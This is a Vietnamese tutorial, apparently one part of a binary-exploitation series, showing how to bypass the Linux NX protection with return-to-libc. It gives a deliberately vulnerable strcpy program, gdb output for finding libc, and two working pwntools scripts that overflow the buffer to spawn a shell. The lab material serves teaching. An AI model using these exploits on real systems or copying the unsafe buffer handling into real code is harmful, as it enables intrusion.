Sau các phần 3 phần cơ bản, phần này mình sẽ hướng dẫn các bạn cách để bypass cơ chế NX của linux. Vậy NX là gì? NX (Non-executable Stack) là cơ chế ngăn không cho thực thi mã trên stack, điều này ngăn chặn việc chúng ta tiêm shellcode vào stack, sau đó cố gắng thực thi. Hướng giải quyết đó là sử dụng re2libc.
1. Re2libc là gì?
Re2libc (Return to libc), trong đó libc là thư viện của chương trình C. Tức là ta sẽ sử dụng các hàm có trong thư viện C của chương trình đó để tạo ra 1 shell, ví dụ như gọi hàm system("/bin/sh"). Để làm được điều này, ta cần biết được địa chỉ của hàm system trong libc, sau đó thực hiện gọi hàm, với việc truyền tham số /bin/sh vào.
Bởi vì đang thực hiện trên linux 32 bits, tham số đầu vào sẽ được đẩy vào lần lượt các thanh ghi ebx, ecx, edx,... Chúng ta tiến hành tạo file C như dưới đây:
bypass_nx.c
#include <stdio.h>
#include <string.h> int main(int argc, char *argv[]){ char buff[10]; strcpy(buff, argv[1]); return 0;
}
Complie chương trình (không sử dụng -z execstack để tắt cơ chế NX):
gcc -m32 bypass_nx.c -o bypass_nx
Để kiểm tra xem NX đã được tắt chưa, thực hiện: checksec bypass_nx
và kết quả nhận được:
┌──(kali㉿kali)-[~/Desktop/Binary Exploit]
└─$ checksec bypass_nx
[*] '/home/kali/Desktop/Binary Exploit/bypass_nx' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
NX đã được bật, bây giờ không thể thực thi shellcode trong stack được nữa.
2. Bypass NX bằng ROP
Như đã nói, ta thực hiện re2libc, vậy đầu tiên cần biết libc mà chương trình sử dụng. Để làm việc này, ta sử dụng gdb và vmmap để xác định libc.
┌──(kali㉿kali)-[~/Desktop/Binary Exploit]
└─$ gdb bypass_nx
Run chương trình, break main, sau đó thực hiện vmmap
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x56555000 0x56556000 0x000000 r-- /home/kali/Desktop/Binary Exploit/bypass_nx
0x56556000 0x56557000 0x001000 r-x /home/kali/Desktop/Binary Exploit/bypass_nx
0x56557000 0x56558000 0x002000 r-- /home/kali/Desktop/Binary Exploit/bypass_nx
0x56558000 0x56559000 0x002000 r-- /home/kali/Desktop/Binary Exploit/bypass_nx
0x56559000 0x5655a000 0x003000 rw- /home/kali/Desktop/Binary Exploit/bypass_nx
0xf7c00000 0xf7c20000 0x000000 r-- /usr/lib32/libc.so.6
0xf7c20000 0xf7d98000 0x020000 r-x /usr/lib32/libc.so.6
0xf7d98000 0xf7e1d000 0x198000 r-- /usr/lib32/libc.so.6
0xf7e1d000 0xf7e1f000 0x21c000 r-- /usr/lib32/libc.so.6
0xf7e1f000 0xf7e20000 0x21e000 rw- /usr/lib32/libc.so.6
0xf7e20000 0xf7e2a000 0x000000 rw- 0xf7fc3000 0xf7fc5000 0x000000 rw- 0xf7fc5000 0xf7fc9000 0x000000 r-- [vvar]
0xf7fc9000 0xf7fcb000 0x000000 r-x [vdso]
0xf7fcb000 0xf7fcc000 0x000000 r-- /usr/lib32/ld-linux.so.2
0xf7fcc000 0xf7fee000 0x001000 r-x /usr/lib32/ld-linux.so.2
0xf7fee000 0xf7ffb000 0x023000 r-- /usr/lib32/ld-linux.so.2
0xf7ffb000 0xf7ffd000 0x02f000 r-- /usr/lib32/ld-linux.so.2
0xf7ffd000 0xf7ffe000 0x031000 rw- /usr/lib32/ld-linux.so.2
0xfffdd000 0xffffe000 0x000000 rw- [stack]
gef➤
Như vậy libc chương trình sử dụng là /usr/lib32/libc.so.6
với địa chỉ là 0xf7c00000
Tiếp theo, viết file exploit sử dụng pwntools:
nx_exploit.py
from pwn import *
context.update(os="linux", arch="i386") libc = ELF('/usr/lib32/libc.so.6')
libc.address = 0xf7c00000
rop = ROP(libc)
rop.system(next(libc.search(b"/bin/sh")))
payload = b'A'*18 + bytes(rop)
p = process(["./bypass_nx", payload])
p.interactive()
Chạy file và ta có 1 shell, ngoài ra ta có thể dựa vào các gọi hàm trên linux, 32bits viết exploit như sau:
from pwn import *
context.update(os="linux", arch="i386") libc = ELF('/usr/lib32/libc.so.6')
libc.address = 0xf7c00000
sys = p32(libc.sym.get("system"))
exit = p32(libc.sym.get("exit"))
binsh = p32(next(libc.search(b"/bin/sh"))) payload = b'A'*18 + sys + exit + binsh
p = process(["./bypass_nx", payload])
p.interactive()
Vậy là ta đã tiến hành bypass NX. Phần tiếp theo mình sẽ hướng dẫn các bạn viết shellcode mà chúng ta đã sử dụng trong P1-3. Cảm ơn các bạn đã đọc.